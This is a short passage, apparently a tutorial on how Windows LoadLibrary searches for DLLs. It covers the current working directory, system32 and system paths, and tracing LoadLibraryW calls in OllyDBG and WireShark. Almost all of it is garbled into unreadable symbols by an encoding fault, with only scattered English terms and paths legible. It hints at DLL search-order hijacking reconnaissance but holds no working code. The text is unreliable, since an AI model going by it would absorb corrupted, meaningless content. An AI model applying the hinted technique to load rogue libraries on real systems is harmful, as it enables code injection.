 ˢ˧˴˵ˮˣ˲ˢ ˶˷˞˩ ˸˶˴ˣˮ ˢ˧˰˟ˢLoadLibrary )ˢ˪˷ ˸ˣ˧˴˞˧˶ˣ ˣ˞ (˞˪ˬ ˟˧˸ˮ ˭ˣ˧˴ ˞˪˪ ˢ˧˧˶˲˯ ˭ˣ˰˦˪ ˢ˯ˮˬ ,

 ˢ˧˴˵ˮˣ˲ˢLoadLibrary ˟ ˷˲˥˪ ˸˶ˡˠˣˬ-Current Working Directory  ˞˪ ˸˷˲˥ˬ ˞˧ˢ˷ ˢ˧˧˶˲˯ˢˣ

˫˧˞˟ˢ ˫˧˟˧˸ˮˢˬ ˡ˥˞˟ ˸˞˴ˬˮ: 

1.  ˣˮ˪˷ ˸˧ˮ˩ˣ˸ˢ ˸˞˴ˬˮ ˣ˟ ˟˧˸ˮˢï C:\dev-cpp\  projects\msg\ 

2.  ˟˧˸ˮˢ%windir%\system32 ï C:\windows\system32\ 

3.  ˟˧˸ˮˢ%windir%\system ï C:\windows\system\ 
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ˢ˶˰ˬˢ ˨ˣ˸ ˪˞ 

 ˸˞ ˥˸˲ˮWireShark ˟-OllyDBG: 

 

˪ ˸ˣ˞˧˶˵ˢ ˸ˣ˰˴˟˸ˬ ˵ˣ˧ˡ˟ ˢ˲˧˞ ˵ˣˡ˟ˮ ˪˩ ˸˧˷˞˶-LoadLibrary. 

 ˧ˮˬ˧ ˵˧˪˵ <Search for  <All intermodular calls. 
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ˣˮ˪˷ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˢ ˸˞ ˷˲˥ˮ ˸˰˩ ,LoadLibraryW , ˷˧˵ˮ ˥˸˲ˮ˷ ˭ˣ˪˥˟LoadLibraryW . ˫˩ˬ ˧ˬ˪

ˡ˟ˣ˰ ˞˪ ˢˤ˷ , ˥ˣ˪ ˸˯˧˶˲˷ ˣ˞ˡˣ˸˧˪ˠˮ˞˪ ˸˶ˡˠˣˬ ˫˩˪˷ ˫˧˷˵ˬˢ. 

 

˵˧˪˵ ˪˟˞ˡ ,ˢ˲ ˟ˣ˵˶ ˢˬ ˸˧ˡ˧˧ˬ ˸ˣ˞˶˪ ˪˩ˣˮˣ. 

 

 


























